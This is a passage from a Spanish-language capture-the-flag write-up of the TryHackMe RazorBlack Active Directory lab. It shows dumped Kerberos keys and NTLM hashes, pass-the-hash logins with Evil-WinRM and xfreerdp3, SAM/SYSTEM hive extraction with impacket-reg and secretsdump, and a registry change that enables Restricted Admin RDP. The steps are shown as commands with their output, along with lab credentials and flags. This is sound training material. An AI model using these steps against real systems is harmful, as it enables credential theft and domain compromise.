Administrator:aes128-cts-hmac-sha1-96:81a749369e929b7f1731489b12a49df8
Administrator:des-cbc-md5:d3b646b65bceb5c7
HAVEN-DC$:aes256-cts-hmac-sha1-96:b44c9d4f9b08760cd0c868363e690e9d8b3a2ad842f6b05891ebfa809359edc4
HAVEN-DC$:aes128-cts-hmac-sha1-96:f7c4dee072f979e0b8c80ebfa98513fa
HAVEN-DC$:des-cbc-md5:d349101ace0220e5
krbtgt:aes256-cts-hmac-sha1-96:eed4acbdf1b6cc2b3c1aef992a8cea74d8b0c4ad5b4deecf47c57c4d9465caf5
krbtgt:aes128-cts-hmac-sha1-96:3dbbd202aa0343d1b8df99785d2befbb
krbtgt:des-cbc-md5:857a46f13e91eae3
raz0rblack.thm\xyan1d3:aes256-cts-hmac-sha1-96:6de380d21ae165f55e7520ee3c4a81417bf6a25b17f72ce119083846d89a031f
raz0rblack.thm\xyan1d3:aes128-cts-hmac-sha1-96:9f5a0114b2c18ea63a32a1b8553d4f61
raz0rblack.thm\xyan1d3:des-cbc-md5:e9a1a46223cd8975
raz0rblack.thm\lvetrova:aes256-cts-hmac-sha1-96:3809e38e24ecb746dc0d98e2b95f39fc157de38a9081b3973db5be4c25d5ad39
raz0rblack.thm\lvetrova:aes128-cts-hmac-sha1-96:3676941361afe1800b8ab5d5a15bd839
raz0rblack.thm\lvetrova:des-cbc-md5:385d6e1f1cc17fb6
raz0rblack.thm\sbradley:aes256-cts-hmac-sha1-96:ddd43169c2235d3d2134fdb2ff4182abdb029a20724e679189a755014e68bab5
raz0rblack.thm\sbradley:aes128-cts-hmac-sha1-96:7cdf6640a975c86298b9f48000047580
raz0rblack.thm\sbradley:des-cbc-md5:83fe3e584f4a5bf8
raz0rblack.thm\twilliams:aes256-cts-hmac-sha1-96:05bac51a4b8888a484e0fa1400d8f507b195c4367198024c6806d8eb401cb559
raz0rblack.thm\twilliams:aes128-cts-hmac-sha1-96:a37656829f443e3fe2630aa69af5cb5a
raz0rblack.thm\twilliams:des-cbc-md5:01e958b0ea6edf07
[*] Cleaning up...

Pass the hash con EvilWinRM para el usuario administrator

Por último nos conectamos con las credenciales del usuario Administrador y extraemos su flag

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -i raz0rblack.thm -u administrator -H 9689931bed40ca5a2ce1218210177f0c 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                     
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir

    Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/21/2021   9:45 AM                3D Objects
d-r---        5/21/2021   9:45 AM                Contacts
d-r---        5/21/2021   9:45 AM                Desktop
d-r---        5/21/2021   9:45 AM                Documents
d-r---        5/21/2021   9:45 AM                Downloads
d-r---        5/21/2021   9:45 AM                Favorites
d-r---        5/21/2021   9:45 AM                Links
d-r---        5/21/2021   9:45 AM                Music
d-r---        5/21/2021   9:45 AM                Pictures
d-r---        5/21/2021   9:45 AM                Saved Games
d-r---        5/21/2021   9:45 AM                Searches
d-r---        5/21/2021   9:45 AM                Videos
-a----        2/25/2021   1:08 PM            290 cookie.json
-a----        2/25/2021   1:12 PM           2512 root.xml

*Evil-WinRM* PS C:\Users\Administrator> type root.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Administrator</S>
      <SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
  </Obj>
</Objs>
*Evil-WinRM* PS C:\Users\Administrator> $cred = Import-Clixml -Path "C:\Users\Administrator\root.xml"
The data is invalid.

La flag está cifrada en hexadecimal por lo que vamos a copiarla y descifrarla en la consola de kali con el siguiente comando:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# echo -n "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a" | xxd -r -p

Damn you are a genius.
But, I apologize for cheating you like this.

Here is your Root Flag
THM{1b4f46cc4fba46348273d18dc91da20d}

Tag me on https://twitter.com/Xyan1d3 about what part you enjoyed on this box and what part you struggled with.

If you enjoyed this box you may also take a look at the linuxagency room in tryhackme.
Which contains some linux fundamentals and privilege escalation https://tryhackme.com/room/linuxagency.

Bonus track: Extracción de hashes NTLM con impacket-reg

La segunda opción para extraer los hashes NTLM es usando impacket-reg, el procedimiento es el mismo, nos conectamos con las credenciales del usuario xyan1d3 y tenemos que crear el directorio /temp donde impacket-reg volcara los archivos SAM y SYSTEM que luego descargáremos en nuestro kali

┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -u xyan1d3 -p cyanide9amine5628 -i 10.10.18.11 

*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd /

*Evil-WinRM* PS C:\> mkdir temp

*Evil-WinRM* PS C:\> cd temp

impacket-reg

┌──(root㉿kali)-[/home/kali/Documents/THM]
└─# impacket-reg 'raz0rblack.thm/xyan1d3:cyanide9amine5628'@10.10.18.11 backup -o 'C:\temp'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\temp\SAM.save
[*] Saved HKLM\SYSTEM to C:\temp\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\temp\SECURITY.save

Una vez que impacket-reg copia y guarda los archivos SAM y SYSTEM los podemos listar en la sesión de EvilWinRM y descargarlos con download

*Evil-WinRM* PS C:\temp> dir

    Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2025   9:22 PM          28672 SAM.save
-a----         6/4/2025   9:22 PM          32768 SECURITY.save
-a----         6/4/2025   9:22 PM       17248256 SYSTEM.save

*Evil-WinRM* PS C:\temp> download SAM.save
                                        
Info: Downloading C:\temp\SAM.save to SAM.save
                                        
Info: Download successful!
*Evil-WinRM* PS C:\temp> download SYSTEM.save
                                        
Info: Downloading C:\temp\SYSTEM.save to SYSTEM.save
                                        
Info: Download successful!

Y la extraccion la hacemos con impacket-secretsdump

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

Pass the hash con xfreerdp3

Las últimas flags las vamos a buscar desde powershell conectándonos por RDP. Aprovechando que tenemos acceso a la cuenta del Administrator vamos a habilitar la conexión por RDP desde EvilWinRM con el siguiente comando:

New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -Value '0' -Force

Este comando modifica el registro de Windows para crear o actualizar una clave que controla el comportamiento del modo "Restricted Admin" (Administrador Restringido) en RDP (Remote Desktop Protocol).

  • New-ItemProperty: crea una nueva entrada de registro o modifica una existente.

  • -Path 'HKLM:\System\CurrentControlSet\Control\Lsa': apunta a una clave crítica del sistema bajo Local Security Authority (LSA).

  • -Name 'DisableRestrictedAdmin': define el nombre del valor de la clave.

  • -PropertyType 'DWORD': establece el tipo de dato (número de 32 bits).

  • -Value '0': fija el valor de esa clave en 0, lo que habilita el uso del modo Restricted Admin.

  • -Force: sobrescribe el valor si ya existe.

El modo Restricted Admin permite a un usuario conectarse vía RDP sin enviar sus credenciales reales al sistema remoto. Activarlo permite a herramientas como mimikatz o secretsdump usar hashes NTLM válidos para autenticación remota (Pass-the-Hash), sin requerir la contraseña en texto claro.

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u Administrator -H 9689931bed40ca5a2ce1218210177f0c -i 10.10.69.224  
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                     
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force
 
DisableRestrictedAdmin : 0
PSPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName            : Lsa
PSDrive                : HKLM
PSProvider             : Microsoft.PowerShell.Core\Registry

Ahora le pasamos las credenciales a xfreerdp3 y nos conectamos

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# xfreerdp3 /v:10.10.69.224 /u:Administrator /pth:9689931bed40ca5a2ce1218210177f0c
[01:06:49:835] [95663:000175b0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x08 -> no RDP scancode found
[01:06:49:835] [95663:000175b0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x5D -> no RDP scancode found
[01:06:51:623] [95663:000175b0] [WARN][com.freerdp.crypto] - [verify_cb]: Certificate verification failure 'self-signed certificate (18)' at stack position 0

Bingo! ( ͡• ͜ʖ ͡•)

Last updated